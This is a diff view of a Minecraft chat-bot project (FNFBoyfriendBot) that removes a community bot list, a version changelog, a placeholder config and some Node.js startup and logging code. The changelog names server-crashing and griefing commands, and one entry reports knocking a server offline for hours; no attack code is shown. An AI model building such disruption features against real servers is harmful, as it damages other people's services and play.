"exclaimer": "uwu",
"foundation": "nodejs/mineflayer",
"prefixes": [
"?"
]
},
{
"name": {
"text": "SC09Bot",
"color": "dark_gray",
"bold": false
},
"authors": [
"spyingcreeper09"
],
"exclaimer": ":3",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"@"
]
},
{
"name": {
"text": "HorizonBot",
"color": "gold",
"bold": false
},
"authors": [
"ZenZoya",
"Yaode_owo",
"Parker2991",
"and others"
],
"exclaimer": "originally called §5FleamBot§r",
"foundation": "nodejs/node-minecraft-protocol",
"prefixes": [
"^"
]
},
{
"name": {
"text": "64Bot",
"color": "gold",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "NINTENDO 64?!?!??!?! 69Bot when??????",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"w="
]
},
{
"name": {
"text": "Nebulabot",
"color": "dark_purple",
"bold": false
},
"authors": [
"IuCC"
],
"exclaimer": "the void",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": [
{
"text": "Prism",
"color": "#00FF9C",
"bold": true
},
{
"text": "Bot",
"color": "white",
"bold": true
}
],
"authors": [
"IuCC"
],
"exclaimer": "prismarine :3",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": {
"text": "SharpBot",
"color": "aqua",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "sharp as in the tv? idfk im out of jokes also the first c# bot on the list??",
"foundation": "C#/MineSharp",
"prefixes": [
"s="
]
},
{
"name": {
"text": "MoonBot",
"color": "red",
"bold": false
},
"authors": [
"64Will64"
],
"exclaimer": "stop mooning/mooing me ",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"m="
]
},
{
"name": {
"text": "TableBot",
"color": "yellow",
"bold": false
},
"authors": [
"12alex12"
],
"exclaimer": "TABLE CLOTH BOT?!?! ",
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
"t!"
]
},
{
"name": [
{
"text": "Evil",
"color": "dark_red",
"bold": false
},
{
"text": "Bot",
"color": "dark_purple"
}
],
"authors": [
"FusseligerDev"
],
"exclaimer": "",
"foundation": "Java/Custom",
"prefixes": [
"!"
]
},
{
"name": {
"text": "SBot Java",
"color": "white",
"bold": false
},
"authors": [
"evkc"
],
"foundation": "Java/MCProtocolLib",
"prefixes": [
":"
]
},
{
"name": {
"text": "SBot Rust",
"color": "white",
"bold": false
},
"authors": [
"evkc"
],
"foundation": "Rust",
"prefixes": [
"re:"
]
},
{
"name": {
"text": "Z-Boy-Bot",
"color": "dark_purple",
"bold": false
},
"exclaimer": "Most likely skidded along with kbot that the dev used",
"authors": [
"Romnci"
],
"foundation": "NodeJS/mineflayer or Java/mcprotocollib idfk",
"prefixes": [
"Z]"
]
},
{
"name": {
"text": "ABot",
"color": "gold",
"bold": true
},
"exclaimer": "not used anymore (replaced by V2)",
"authors": [
{
"text": "_yfd",
"color": "light_purple"
}
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"<"
]
},
{
"name": {
"text": "ABot-V2",
"color": "gold",
"bold": true
},
"exclaimer": "",
"authors": [
{
"text": "_yfd",
"color": "light_purple"
}
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"<"
]
},
{
"name": {
"text": "FardBot",
"color": "light_purple",
"bold": false
},
"authors": [
"_yfd"
],
"exclaimer": "bot is dead lol",
"foundation": "NodeJS/Mineflayer",
"prefixes": [
"<"
]
},
{
"name": {
"text": "ChipmunkBot Java",
"color": "green",
"bold": false
},
"authors": [
"_ChipMC_"
],
"exclaimer": "chips? also shoutout to chip and chayapak for helping in the rewrite",
"foundation": "Java/MCProtocolLib",
"prefixes": [
"'",
"/'"
]
},
{
"name": {
"text": "ChipmunkBot NodeJS",
"color": "green",
"bold": false
},
"authors": [
"_ChipMC_"
],
"foundation": "NodeJS/Node-Minecraft-Protocol"
},
{
"name": {
"text": "TestBot",
"color": "aqua",
"bold": false
},
"authors": [
"Blackilykat"
],
"foundation": "Java/MCProtocolLib",
"prefixes": [
"-"
]
},
{
"name": {
"text": "UBot",
"color": "gray",
"bold": false
},
"authors": [
"HexWoman"
],
"exclaimer": "UwU OwO",
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"\""
]
},
{
"name": {
"text": "ChomeNS Bot Java",
"color": "yellow",
"bold": false
},
"authors": [
"chayapak"
],
"exclaimer": "wow its my bot !! ! 4374621q43567%^&#%67868-- chayapak \n rip ChomeNS bot i wonder what chayapak is currently doing -- Parker2991",
"foundation": "Java/MCProtocolLib",
"prefixes": [
"*",
"cbot ",
"/cbot "
]
},
{
"name": {
"text": "ChomeNS Bot NodeJS",
"color": "yellow",
"bold": false
},
"authors": [
"chayapak"
],
"foundation": "NodeJS/Node-Minecraft-Protocol",
"prefixes": [
"*",
"cbot",
"/cbot"
]
},
{
"name": {
"text": "RecycleBot",
"color": "dark_green",
"bold": false
},
"foundation": [
"MorganAnkan"
],
"exclaimer": "nice bot",
"language": "NodeJS/node-minecraft-protocol",
"prefixes": [
"="
]
},
{
"name": {
"text": "neobot",
"color": "blue",
"bold": false
},
"exclaimer": "n e o b o t ;oslkdfj;salkdfj;ladsjf",
"authors": [
"mirkokral"
],
"foundation": "java/MCProtocolLib",
"prefixes": [
"_"
]
},
{
"name": {
"text": "ManBot",
"color": "dark_green",
"bold": false
},
"exclaimer": "(more like men bot :skull:) OH HAAAAAAAAAAAAAAIIILL LOGINTIMEDOUT",
"authors": [
"Man/LogintimedOut"
],
"foundation": "NodeJS/mineflayer",
"prefixes": [
"(Note:I dont remember!!)"
]
},
{
"name": [
{
"text": "Useless",
"color": "red",
"bold": false
},
{
"text": "Bot",
"color": "gray",
"bold": false
}
],
"exclaimer": "it isnt useless its a good bot................",
"authors": [
"IuCC"
],
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"["
]
},
{
"name": [
{
"text": "SnifferBot",
"color": "gold",
"bold": false
}
],
"exclaimer": "sniff sniff FNFBoyfriendBot simp",
"authors": [
"popbob/aaa"
],
"foundation": "NodeJS/Node-minecraft-protocol",
"prefixes": [
">"
]
},
{
"name": [
{
"text": "XBot",
"color": "dark_purple",
"bold": false
}
],
"exclaimer": "",
"authors": [
"popbob/aaa"
],
"foundation": "ts-Node/Node-minecraft-protocol",
"prefixes": [
"$"
]
},
{
"name": [
{
"text": "Kitty",
"color": "gold",
"bold": false
},
{
"text": "Corp",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "yellow",
"bold": false
}
],
"exclaimer": "3 words ginlang is gay",
"authors": [
"ginlang , G6_, ArrayBuffer, and i guess more??"
],
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"^"
]
},
{
"name": [
{
"text": "FNF",
"color": "dark_purple",
"bold": false
},
{
"text": "Boyfriend",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "dark_red",
"bold": false
},
{
"text": " nmp",
"color": "black",
"bold": false
}
],
"authors": [
{
"text": "Parker2991",
"color": "dark_red"
},
{
"text": " _ChipMC_",
"color": "dark_green",
"bold": false
},
{
"text": " chayapak",
"color": "yellow",
"bold": false
},
{
"text": " _yfd",
"color": "light_purple",
"bold": false
},
{
"text": "popbob/aaa",
"color": "gold"
},
{
"text": "MorganAnkan",
"color": "dark_green"
},
{
"text": "TurtleKid",
"color": "green"
}
],
"exclaimer": "v4.0x - current",
"foundation": "NodeJS/node-minecraft-protocol",
"prefixes": [
"~",
"fnfbfbot ",
"",
"‮",
"█"
]
},
{
"name": [
{
"text": "FNF",
"color": "dark_purple",
"bold": false
},
{
"text": "Boyfriend",
"color": "aqua",
"bold": false
},
{
"text": "Bot",
"color": "dark_red",
"bold": false
},
{
"text": " legacy",
"color": "green",
"bold": false
}
],
"authors": [
{
"text": "Parker2991",
"color": "dark_red"
},
{
"text": " _ChipMC_",
"color": "dark_green",
"bold": false
}
],
"exclaimer": "1037 LINES OF CODE WTFARD!??! also this version is in console commands only",
"foundation": "NodeJS/mineflayer",
"prefixes": []
}
]
-721
View File
@@ -1,721 +0,0 @@
[
{
"name": {
"text": "v0.1.0 - v0.5.0-beta",
"color": "blue",
"bold": false
},
"authors": [
"Prototypes"
],
"foundation": "11/22/22 - 1/24/23",
"exclaimer": "ehh nothing much just the release of the betas"
},
{
"name": {
"text": "v1.0.0-beta",
"color": "blue",
"bold": false
},
"authors": [
"in console test"
],
"foundation": "1/25/23",
"exclaimer": "original commands:!cloop bcraw,!cloop sudo,!troll,!say,!op (broke),!deop (broke), !gms (broke),!freeze,!icu <--- these commands no longer can be used in game but in console for beta 1.0 commands added: fake kick,ban,kick,crashserver,stop,gmc,greetin,test(broken idk),bypass,entity spam ,gms ,stop,tntspam ,prefix ,annoy (broke results in a complete server crash keeping ayunboom down for 3 to 5 hours),freeze,crashserver,troll ,trol(more destructive),icu ,say,sudo,cloop"
},
{
"name": {
"text": "v1.0.0",
"color": "dark_red",
"bold": false
},
"authors": [
"FNFBoyfriendBot"
],
"foundation": "1/26/23",
"exclaimer": "FNFBoyfriendBot. commands added: BOOM,deop,troll and trol(added extra code to both commands),kaboom,serverdeop, commands fixed:tp,gms,annoy(attemps to crash the server but not as bad as it was) commands untested:prefix command Broke:icu,freeze,tntspam,entityspam,tntspam? changed name to &b &lFNFBoyfriendBot may change later idk"
},
{
"name": {
"text": "v1.0.1",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "1/26/23",
"exclaimer": "reworked the kaboom command and fixed the description commands but thats about it. also reworked the greeting command"
},
{
"name": {
"text": "v1.1.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "1/26/23 2:00pm",
"exclaimer": "nothing much just added extra stuff to the troll, trol and that is about it"
},
{
"name": {
"text": "v1.2.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "1/28/23 1:51",
"exclaimer": "for ppl me making me really mad -.- got released early"
},
{
"name": {
"text": "v2.0.0",
"color": "dark_red",
"bold": false
},
"authors": [
"Major"
],
"foundation": "2/07/23 8:01pm",
"exclaimer": "added DREAMSTANALERT,technoblade,GODSWORD,KFC,MYLEG,OHHAIL,altcrash,MyHead Reworked tntspam,entityspam,soundbreaker added Spim to the whitelist of the bot released too early than it was planned gonna be released due do the code almost leaked it had to be released early"
},
{
"name": {
"text": "v2.1.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "2/11/23 5:30pm",
"exclaimer": "added: refillcore(had early prototypes of this was original), vanish,deop,cloopdeop,mute,cloopmute reworked: op (supposed to already op the bot but didnt work until this release) and reworked gmc (same problem with op) (had early prototypes of vanish,refillcore,gmc,and op but these were original gonna be automatic but after alot of attempts i said screw it and added 2 commands refillcore, and vanish reworked gmc and op and got them working finally) removed Spim because come to find out he couldnt be trusted"
},
{
"name": {
"text": "v2.2.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "2/20/23",
"exclaimer": "added ckill(added back after trial and error),serversuicidal changed username of the bot from hex code to FNFBoyfriendBot because hex code for the username was confusing as it changes everytime"
},
{
"name": {
"text": "v3.0.0-Beta",
"color": "blue",
"bold": false
},
"authors": [
"blue-balled corruption"
],
"foundation": "",
"exclaimer": "was canceled due to ayunboom being rewriten and renamed to creayun barely usable on there because commands blocks are disabled which i created a bot for that server that has no command blocks just finished the final build of the Creayun build of the bot due to chip announcing that he may make a kaboom clone yk what 1.5.2 and 1.8 support but anyway onto what is in the v3.0-beta well the beta for right now commands added:discord,version,online,list,iownyou,endmysuffering,wafflehouse,whopper,bcraw,destroycore Notes:the original say command was reworked into talking in chat without bcraw and command blocks which the bcraw chatting code is still in the bot but was reworked into the bcraw commmand. maybe some commands removed? i dont know yet edit there is 2 commands removed commands removed:tpe and serverdeop??? reworked commands :say command for right now relay chat mabe will be added as a seperate repl i dont know yet possible would need a whole code rewrite for relay chat"
},
{
"name": {
"text": "v3.0.0",
"color": "dark_red",
"bold": false
},
"authors": [
"Sky Remanifested"
],
"foundation": "",
"exclaimer": "the full release of 3.0 the rewrite has been pushed back to 4.0 due to 3.0 already pass its release date and the code i had on hand was done but the rewrite wasnt done Added: SelfCare Made during development:Relay chat prototypes for several servers"
},
{
"name": {
"text": "v3.0.5",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "",
"exclaimer": "bug fixes"
},
{
"name": {
"text": "v3.0.9",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "",
"exclaimer": "commands added:Help(finally added after about a year),consolelog(added cuz yes),cloopconsolelog(added cuz yes)"
},
{
"name": {
"text": "v3.3.0",
"color": "dark_red",
"bold": false
},
"authors": [
""
],
"foundation": "",
"exclaimer": "switched it base to 4.0s base during 4.0s development"
},
{
"name": {
"text": "v4.0.0-beta",
"color": "blue",
"bold": false
},
"authors": [
"FNFBoyfriendBot Ultimate"
],
"foundation": "",
"exclaimer": "all of the command removed and or rewriten from version 3.0.9 Commands added or rewriten:ban,buyrealminecraft,cloop,discord,echo,errortest,freeze,help,icu,info,kick,bots,skids,romncitrash,say,selfdestruct,serversuicidal,sudo,test,trol,troll (note that this is different and is not CommandModules)Modules Added:discord,chat,chat_command_handler,command_manager,position,registry,reconnect,command_core CustomChats added:kaboom(for normal chat) (note that this is different and is not Modules)CommandModules Added:command_error,Command_source a beta release for rn"
},
{
"name": {
"text": "v4.0.0-Alpha ",
"color": "aqua",
"bold": false
},
"authors": [
"FNFBoyfriendBot Ultimate"
],
"foundation": "",
"exclaimer": "Commands added: calculator,ckill,evaljs,urban,crash,cloopcrash,core,list,ping,netmsg,skin,tpr Commands Removed:Buyrealminecraft (note that this is different and is not CommandModules)Modules Added:op selfcare,gmc selfcare,vanish selfcare,cspy selfcare,console (note that this is different and is not Modules)CustomChats Added:u2O3a(for custom chat) added util with between(for urban) eval_colors(for evaljs)"
},
{
"name": {
"text": "v4.0.0",
"color": "dark_red",
"bold": false
},
"authors": [
"FNFBoyfriendBotX"
],
"foundation": "8/11/23",
"exclaimer": "Bot is finished with the rewrite thank you ChipMC and chayapak for helping me rewrite the bot Heres the commands ban (mabe removing), blacklist (currently being worked on), botdevhistory, bots, calculator, changelog, ckill, cloop, cloopcrash(probably removing), core, crash, creators, discord, echo, errortest, evaljs, freeze, help, icu, list, meminfo, mineflayerbot, netmsg (Hello World!), ping (pong!), reconnect, say, selfdestruct, serversuicidal (probably removing because theres ckill), skin, sudo, test, tpr, trol (mabe renaming it to troll), troll (mabe removing it and replacing it with the trol command), urban (ong sus asf), validate, version"
},
{
"name": {
"text": "v4.0.5",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "8/17/23",
"exclaimer": "bug fixes, did what i said i was gonna do in the last update"
},
{
"name": {
"text": "v4.0.6",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "8/22/23",
"exclaimer": "added 1 console command along with updating console.js so that the bot sends a message to 1 server at a time and not a message to all the servers at a time"
},
{
"name": {
"text": "v4.0.7",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "9/4/23",
"exclaimer": "merged server and botusername commands and naming the command logininfo cuz it now shows the server ip, server port, Minecraft java Version, and the Bots Username"
},
{
"name": {
"text": "v4.0.8",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "9/7/23",
"exclaimer": "added the wiki command even though its semi working. bug fixes. some bugs still in the bot is netmsg showing the bots username when i used the netmsg cmd from my end and not the console i find it funny asf though"
},
{
"name": {
"text": "v4.0.8A",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/7/23",
"exclaimer": "added some things to the changelog cmd. still needing to fix the issue with custom chat and netmsg also added a bugs command to check what bugs are needing to be fixed"
},
{
"name": {
"text": "v4.0.8B",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/8/23",
"exclaimer": "made it to where it sends more messages on start up and made it to where the buildstring is in secrets"
},
{
"name": {
"text": "v4.0.8C",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/14/23",
"exclaimer": "added the nodejs version to the version command but thats about it still fixing the bugs with the relay chat and mabe rewriting the validation system in the bot"
},
{
"name": {
"text": "v4.0.8D",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/16/23",
"exclaimer": "added onto the changelog command along with adding spambot and lol commands (cuz yes) along with removing the bugs command maybe adding it back sometime later also the discord relay chat and validation system mabe getting a rewrite and also updated node from v18 to v20.6.0"
},
{
"name": {
"text": "v4.0.8E",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/17/23",
"exclaimer": "changed the name for meminfo to serverinfo along with adding onto it and moving the nodejs, node-minecraft-protocol, and discord.js versions from the version command to the serverinfo command"
},
{
"name": {
"text": "v4.0.8F",
"color": "gold",
"bold": false
},
"authors": [
""
],
"foundation": "9/24/23",
"exclaimer": "added filesdirectories command but thats about it"
},
{
"name": {
"text": "v4.0.9",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "9/26/23",
"exclaimer": "added a hover event to the custom chat for the bot"
},
{
"name": {
"text": "v4.1.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "9/27/23",
"exclaimer": "Finally changed how the validation/hashing works in the bot instead of it being sent in discord there will be a key for trusted to validate"
},
{
"name": {
"text": "v4.1.1",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "9/28/23",
"exclaimer": "added uppercase and lowercase function for commands and soon gonna be completely overhauling the validation system in the bot again"
},
{
"name": {
"text": "v4.1.2",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/02/23",
"exclaimer": "added uptime as a command but thats it"
},
{
"name": {
"text": "v4.1.4",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/03/23",
"exclaimer": "moved the custom chat text and cmd block text to config.js"
},
{
"name": {
"text": "v4.1.6",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/08/23",
"exclaimer": "fixed the relay chat and fixed the cr issue with urban and also fixed reconnect"
},
{
"name": {
"text": "v4.1.7",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/08/03",
"exclaimer": "added mute, tag, and skin to selfcare"
},
{
"name": {
"text": "v4.1.8",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/11/23",
"exclaimer": "fixed the issue with memused cee mmm dee"
},
{
"name": {
"text": "v4.1.9",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/12/23",
"exclaimer": "rewrote evaljs its now using isolated-vm and not vm2"
},
{
"name": {
"text": "v4.2.0-restore",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/19/23",
"exclaimer": "fixed the disconnect message for discord and the bug with the say command"
},
{
"name": {
"text": "v4.2.1",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/24/23",
"exclaimer": "rewrote the help command to allow descriptions finally along with adding things to the base of the bot for the descriptions"
},
{
"name": {
"text": "v4.2.2",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/25/23",
"exclaimer": "merged serverinfo, memused, discord, logininfo, creators, version, uptime together"
},
{
"name": {
"text": "v4.2.3",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "10/30/23",
"exclaimer": "added a antiskid measure (thanks _yfd)"
},
{
"name": {
"text": "v4.2.4",
"color": "green",
"bold": false
},
"authors": [
"Spooky update (note: might as well give it a codename since its halloween)"
],
"foundation": "10/31/23",
"exclaimer": "merged fard and reconnect together making recend, added more crash methods to the crash command, and remove 12 commands"
},
{
"name": {
"text": "v4.2.5",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "11/8/23",
"exclaimer": "patched the exploit in the discordmsg command and made it to were with the netmsg command players cannot send empty messages"
},
{
"name": {
"text": "v4.3.0",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "11/16/23",
"exclaimer": "color coded the console logs are LOGS in the color gold consoleserver are in the category INFO in the color green, errors after start up are in the category WARN in the color yellow, Fatal Errors/start-up errors are in the category ERROR in the color red and hashs/validation codes sent to console are in the category HASH in the color green. added the command servereval. changed config.json to config.js and moved the username() function from the end of bot.js to the end of config.js and replacing where username() after options.username with 'Player' + Math.floor(Math.random() * 1000) and added player ping/latency to list along with fixing the bug with cloop list"
},
{
"name": {
"text": "v4.3.1",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "11/21/23 one day till the bots anniversary?!?!",
"exclaimer": "modified the bots boot originally it would spam the bots buildstring each time it logged into a server on boot but now it will only send it once to console on boot along with it now sending the foundationbuildstring after the buildstring sent in console. ported some commands over since chomens is pretty much dead along with adding chat support for chat.type.text and chat.type.emote"
},
{
"name": {
"text": "v4.3.2",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "11/23/23",
"exclaimer": "made the bots selfcare, the selfcares interval and console toggle-able along with making default options for the selfcare and its interval, the bots prefix, the bots discord prefix, the reconnectDelay interval, the core customname, and the console, partically fixed the issue with the trusted commands no being able to be ran in discord, edited the bots boot again it now also logs the amount of files its loading on boot its discord username its logged in with(also added the discord username to the info command)"
},
{
"name": {
"text": "v4.3.3",
"color": "dark_red",
"bold": false
},
"authors": [
"Lullaby Girlfriend's LostCause"
],
"foundation": "12/3/23",
"exclaimer": "added hover events to the help command for command descriptions, trust console and name along with click events for them added memusage and fixed the category issue with the console and added toggles to the bot for console, selfcare, and skin"
},
{
"name": {
"text": "v4.3.4",
"color": "dark_red",
"bold": false
},
"authors": [
"Suffering Siblings"
],
"foundation": "12/12/23",
"exclaimer": "overhauled the console and discord relay chat fixing trusted roles and making the selfcare toggleable in game also fixing the issue with hiding console only commands (thank you poopbob for helping me with that)"
},
{
"name": {
"text": "v5.0.0-Beta",
"color": "blue",
"bold": false
},
"authors": [
"Monochrome"
],
"foundation": "12/18/23",
"exclaimer": "added owner validation to the bot thats about it"
},
{
"name": {
"text": "v5.0.0",
"color": "dark_red",
"bold": false
},
"authors": [
"Monochrome"
],
"foundation": "12/20/23",
"exclaimer": "since the old validation system was able to barely handle owner validation it was completely remove and replaced with trust levels which handle validation way better also added command aliases (shoutouts to poopbob with the command aliases). made a whole new changelog command for v5.0.0 and renamed the old one changelogv4.3.4. also fixed the issue with the console not properly refreshing lines that are sent"
},
{
"name": {
"text": "v5.0.1",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "added botsrun for the funni along with making the bot be able to auto refill its core now and fill the core from a command block(edit: nevermind its very buggy reverting it back to how it originally filled its core) and adding a hover event to netmsg along with having the test command tellraw the players display name in the command and added support for 3 command prefixes",
"exclaimer": "12/23/23"
},
{
"name": {
"text": "v5.0.2",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "12/26/23",
"exclaimer": "fixed the issue with the cpu checking in the info command added discord hashing back into the bot to work along side the keys made it check to see if the config file is in the directory and if not it will recreate the config from default.js"
},
{
"name": {
"text": "v5.0.3",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "12/29/23",
"exclaimer": "mabe the bot last update of 2023 cuz next year will be 2024 www but anyway expanded the disconnect messages for both console and discord but thats pretty much it"
},
{
"name": {
"text": "v5.0.4",
"color": "green",
"bold": false
},
"authors": [
""
],
"foundation": "1/12/24",
"exclaimer": "first update of 2024 for the bot but anyway merged the test and errortest commands into cmdtest, changed the colors for the help command public is #00FFFF, trusted is dark_purple and owner remained as dark red. moved the module loader from bot.js to index.js to split the boot time in half which now allows module functions like bot.chat() to be used in bot.js and also since the command manager is a module it also loads the commands thats a w on all ends also removed some modules to improve the bots boot time and moved the functions for the sctoggle command into the command itself and not as a module which helped the boot time as well and last but not least merged the memused usage in the info command with the serverinfo usage and made the memusage command use the bossbar and not the actionbar"
},
{
"name": {
"text": "v5.0.5",
"color": "dark_red",
"bold": false
},
"authors": [
{
"text": "QT ",
"color": "#f001db"
},
{
"text": "KB ",
"color": "#740000"
},
{
"text": "Termination",
"color": "black"
}
],
"foundation": "1/26/24",
"exclaimer": "added a new feature to the bot called Coreless Mode to where the core can be toggled and most commands using tellraw will use chat instead along with the discord relay chat, fixed the bug with trust and owner commands not running in console along with removing alot of useless commands and made the 3 prefixes a array and added ratelimit for console logging and command usage and added file chat logging back"
},
{
"name": {
"text": "v5.0.6A",
"color": "gold",
"bold": false
},
"authors": [
"Interlope"
],
"foundation": "2/15/24",
"exclaimer": "added music finally fixed coreless mode made a seperate function for discord in the command manager and idk what all"
},
{
"name": {
"text": "v5.0.7a",
"color": "gold",
"bold": false
},
"authors": [
"Ski"
],
"foundation": "3/29/24",
"exclaimer": "rewrote alot of shiiiiiiit :3 and added matrix support"
},
{
"name": {
"text": "v5.0.7b",
"color": "gold",
"bold": false
},
"authors": [
"Ski"
],
"foundation": "4/22/24",
"exclaimer": "a lot of clean up adding shit and more"
},
{
"name": {
"text": "v5.0.7c",
"color": "gold",
"bold": false
},
"authors": [
"Ski"
],
"foundation": "5/1/24",
"exclaimer": "added discord execute, redone the website command, added attachments for discord ported the urban package to the bot added ping"
},
{
"name": {
"text": "v5.0.8",
"color": "dark_red",
"bold": false
},
"authors": [
"Censory Overload"
],
"foundation": "6/4/24",
"exclaimer": "rewritten the urban command to use undici removed the music command changed the colors for the help command and more"
}
]
-55
View File
@@ -1,55 +0,0 @@
# FNFBoyfriendBot v6.0.0-alpha config
prefixes:
- "!"
- "fnfbfbot!"
discord:
token: "discord token here"
prefix: "!"
invite: "discord invite here"
roles:
trusted: "trusted"
admin: "admin"
owner: "FNFBoyfriendBot Owner"
core:
name: {"translate":"outOfMemory.message"}
area:
start:
x: 0
y: 0
z: 0
end:
x: 15
y: 0
z: 15
keys:
trusted: "trusted key here"
admin: "admin key here"
owner: "owner key here"
colors:
discord:
embed: "#000000"
error: "#FF0000"
console:
prefix: "c."
filelogger: false
bots:
- host: "localhost"
username: "FNFBoyfriendBot"
usernameGen: true
version: "1.20.2"
serverName: "localhost"
reconnectDelay: 6000
channelId: "discord channel id here"
logging: false
useChat: false
isKaboom: true
isSavage: false
isCreayun: false
-10
View File
@@ -1,10 +0,0 @@
{
"bot": {
"buildstring": {
"version": "v6.0.1",
"build":"990",
"codename":""
},
"source": "https://code.chipmunk.land/Parker2991/FridayNightFunkinBoyfriendBot/"
}
}
File diff suppressed because it is too large Load Diff
-35
View File
@@ -1,35 +0,0 @@
const createBot = require('./bot.js');
const readline = require('readline');
const loadModules = require('./util/loadModules');
const js_yaml = require('js-yaml');
const fs = require('fs');
const path = require('path');
const { Client, GatewayIntentBits } = require('discord.js');
const { MessageContent, GuildMessages, Guilds } = GatewayIntentBits;
const discordClient = new Client({ intents: [Guilds, GuildMessages, MessageContent] });
console.log('Starting FNFBoyfriendBot');
if (!fs.existsSync(path.join(__dirname, "../config.yml"))) {
console.log("Config not found creating config from the default config");
fs.copyFileSync(
path.join(__dirname, "./data/default_config.yml"),
path.join(__dirname, "../config.yml")
)
}
try {
config = js_yaml.load(fs.readFileSync(path.join(__dirname, '../', 'config.yml')))
} catch (e) {
console.log(e.stack);
}
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout,
})
if (config.discord.enabled) discordClient.login(config.discord.token);
const bots = [];
for (const options of config.bots) {
const bot = new createBot(options, config);
bots.push(bot);
bot.bots = bots;
loadModules(bot, options, config, discordClient);
bot.console.readlineInterface(rl);
}
-60
View File
@@ -1,60 +0,0 @@
const fs = require("fs");
const path = require("path");
const { createGzip } = require("zlib");
const readline = require('readline');
const { Console } = require("console");
function consolefilelogger(bot, options, message) {
const currentDate = new Date();
const timestamp = `${currentDate.getFullYear()}-${(currentDate.getMonth() + 1)
.toString()
.padStart(2, "0")}-${currentDate.getDate().toString().padStart(2, "0")}`;
const logFolder = path.join(__dirname, "../../logs");
const logFileName = "latest.log";
const logFilePath = path.join(logFolder, logFileName);
const logStream = fs.createWriteStream(logFilePath, { flags: "a" });
if (!fs.existsSync(path.join(__dirname, "../../logs"))) {
fs.mkdirSync(path.join(__dirname, "../../logs"))
}
try {
if (!fs.existsSync(logFolder)) {
fs.mkdirSync(logFolder);
}
} catch (e) {
console.error(`Unable to create log folder: ${e}`);
}
function compressFile(input, output) {
// if (!bot.Console.filelogging) return
const plainOutput = output.slice(0, -3);
fs.renameSync(input, plainOutput);
const gzip = createGzip();
fs.createReadStream(plainOutput)
.pipe(gzip)
.pipe(fs.createWriteStream(output + ".tmp"))
.once("finish", () => {
fs.unlinkSync(plainOutput);
fs.renameSync(output + ".tmp", output);
});
}
if (fs.existsSync(logFilePath)) {
const plainName = fs
.statSync(logFilePath)
.ctime.toISOString()
.split("T")[0];
let name = plainName;
let counter = 1;
let newFileName = path.join(logFolder, `${name}.log.gz`);
while (fs.existsSync(newFileName)) {
name = `${plainName}-${counter}`;
newFileName = path.join(logFolder, `${name}.log.gz`);
counter++;
}
compressFile(logFilePath, newFileName);
}
bot.console.filelogging = function logging (message) {
logStream.write(message + "\n");
};
}
module.exports = consolefilelogger;
-12
View File
@@ -1,12 +0,0 @@
const readline = require('readline');
function boot (bot, options, discordClient, config) {
bot.on("packet.login", (data) => {
if (new Date().getDay() === 5) {
bot.chat.message('Gettin\' freaky on a friday night!');
} else {
bot.chat.message('&9FNF&3Boyfriend&1Bot &fcreated by &4Parker&02991');
}
}) // &9 &3 &1
}
module.exports = boot;
-133
View File
@@ -1,133 +0,0 @@
const loadPrismarineChat = require('prismarine-chat');
const KaboomChatParser = require('../util/ChatParsers/Kaboom');
const ChipmunkModChatParser = require('../util/ChatParsers/ChipmunkMod');
const CreayunChatParser = require('../util/ChatParsers/Creayun');
const sayConsoleChatParser = require('../util/ChatParsers/sayConsole');
const VanillaChatParser = require("../util/ChatParsers/VanillaChat");
const yfdCustomChatParser = require('../util/ChatParsers/yfdCustomChat');
function tryParse (json) {
try {
return JSON.parse(json)
} catch (error) {
return { text: '' }
}
}
//what was changed??
function chat (bot, options, config) {
